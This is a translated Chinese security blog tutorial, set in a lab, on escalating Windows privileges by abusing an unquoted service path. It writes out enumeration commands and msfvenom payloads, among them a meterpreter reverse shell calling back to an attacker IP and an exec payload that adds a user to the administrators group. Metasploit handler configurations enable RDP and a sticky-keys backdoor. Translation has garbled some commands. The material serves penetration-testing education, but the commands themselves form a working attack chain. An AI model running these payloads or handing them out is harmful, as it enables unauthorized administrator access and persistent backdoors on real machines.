通过Unquoted service Path进行Windows权限提升

鲁班七号 技术 2018年8月24日发布
Favorite收藏

导语:在本文中,我们将通过Unquoted service Path演示Windows权限提升。在渗透测试中,当我们将命令shell作为本地用户生成时,是无法检查受限文件或文件夹的,因此我们需要升级权限才能获得管理员访问权限。

在本文中,我们将通过Unquoted service Path演示Windows权限提升。在渗透测试中,当我们将命令shell作为本地用户生成时,是无法检查受限文件或文件夹的,因此我们需要升级权限才能获得管理员访问权限。

主要内容:

1.介绍

2.实验环境

3.使用Spawn命令shell作为本地用户

4.通过Prepend-migrate升级的权限

5.通过添加用户管理员组升级的权限

6.通过RDP和Sticky_keys升级的权限

下面正式开始! 

介绍

不带引号的服务路径漏洞

该漏洞与文件名中包含空格的可执行文件的路径相关,文件名未包含在引号标记(“”)中。此外,如果它具有可写权限,则攻击者可以用其恶意exe文件替换可执行文件,以便升级管理员权限。

实验环境

受害者的机器:Windows 7

攻击者的机器:Kali Linux

首先,我们在Windows系统中下载并安装一个名为photodex proshow的漏洞应用程序,我们可以在Exploit DB下找到了它。

8.png8.png 

接下来我们向受害者的机器进行初次攻击,我们需要至少对Windows机器进行一次妥协才能获得计时器会话。如你所见,我们已经有受害者的metrepreter会话。现在让我们从这里打开命令shell。

 9.png 

正如您所看到的,我们将shell访问作为local_user,并以管理员身份获取cmd,我们需要升级其权限。首先,我们可以枚举受害者机器上运行的所有服务,并通过以下命令发现那些没有限制在引号标签内的服务:

wmic service get name,displayname,pathname,startmode | findstr / i“auto”| findstr / i / v“c:\ windows \\”| findstr / i / v“”“

所以我们列举了以下路径:C:\ Program Files \ Photodex \ ProShow Producer \ Scsiaccess.exe,你可以看到路径周围没有引号标签,文件名中也没有空格。

 10.1.png

现在让我们使用以下命令识别文件夹权限:

icacls Scsiaccess.exe

正如您所看到的,它对每个人都有可写权限,这意味着用户raj可以覆盖此文件。

10.png

通过Prepend-migrate升级的权限

现在我们可以将任何恶意exe文件放在同一文件夹中,当重新启动服务时,该文件将赋予管理员权限,Windows将启动此可执行文件而不是正版exe。

在kali Linux中打开终端并输入以下命令以使用msfvenom生成exe有效负载。

msfvenom -p windows / meterpreter / reverse_tcp lhost = 192.168.1.107 lport = 1234 prependmigrate = true prepenmigrateprocess = explorer.exe -f exe> /root/Desktop/scsiaccess.exe

上面的命令将在桌面上创建恶意exe文件,现在将此文件发送给受害者。如果当前进程被杀死,有效负载将迁移其进程;因此,如果受害者从其系统中杀死有效载荷的当前进程ID,攻击者将不会丢失其会话。

11.png 

现在从恶意exe替换正版可执行文件,在这里我已经将Scsiaccess.exe真正重命名为Scsiaccess.exe.org并将恶意Scsiaccess.exe上传到同一个文件夹中,然后重启受害者的机器。

move scsiaccess.exe scsiaccess.exe.orginalupload /root/Desktop/ scsiaccess.exereboot

12.png

同时我们在新终端中启动多/处理程序侦听器以使用管理员权限捕获meterpreter会话。

use exploit/multi/handlermsf exploit(multi/handler) set payload windows /meterpreter/reverse_tcpmsf exploit(multi/handler) set lhost 192.168.1.107msf exploit(multi/handler) set lport 1234msf exploit(multi/handler) exploit

好的,过一段时间后,我们就获得了具有管理员权限的shell。

图片1.png 

通过添加用户管理员组升级的权限

在将shell生成为local_user之后,我们枚举了具有或不具有管理员权限的所有用户名列表。所以我们找到了用户:raaz不是admin组的成员。

net usernet user raaz

14.png

所以我们再次生成了一个exe文件,它将用户:raaz添加到管理员组中。我们的exe文件的名称将是相同的,即Scsiaccess.exe 

msfvenom -p windows / exec CMD ='net localgroup administrators raaz / add'-f exe> /root/Desktop/scsiaccess.exe

15.png 

现在重复上述步骤,从applesi中替换正版可执行文件

16.png

如果您注意以下图片,就会发现用户raaz已成为Administrators组的成员。

17.png

通过RDP和Sticky_keys升级的权限

使用类似名称Scsiaccess.exe的msfvenom生成exe,然后转移到受害者的机器,同时使用自动运行脚本运行多处理程序,一旦服务重新启动,将启用RDP服务。

use exploit/multi/handlermsf exploit(multi/handler) set payload windows /meterpreter/reverse_tcpmsf exploit(multi/handler) set lhost 192.168.1.107msf exploit(multi/handler) set lport 1234msf exploit(multi/handler) set AutoRunScript post/windows/manage/enable_rdpmsf exploit(multi/handler) exploit

 QQ截图20180823004738.png

同样,我们将设置自动运行脚本,以便在服务重新启动后启用sticky_keys。

msf exploit(multi/handler) set AutoRunScript post/windows/manage/sticky_keysmsf exploit(multi/handler) run

 从下面的屏幕截图中可以看出,另一个具有管理权限的计时器会话(会话3)已经打开。现在让我们通过RDP连接到受害者的主机。

rdp 192.168.1.101

24.png 

好了!现在连续按下shift_key 5次,您就可以以管理员身份来获得命令提示符了。

25.png

本文翻译自;http://www.hackingarticles.in/windows-privilege-escalation-unquoted-path-service/如若转载,请注明原文地址: http://www.4hou.com/technology/13215.html
点赞 1
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

    matt 2018-08-25 20:15

    请问下,这里服务执行文件没有加引号的影响是什么?文章里没看到没有加引号和后面的正版服务执行文件被篡改有什么联系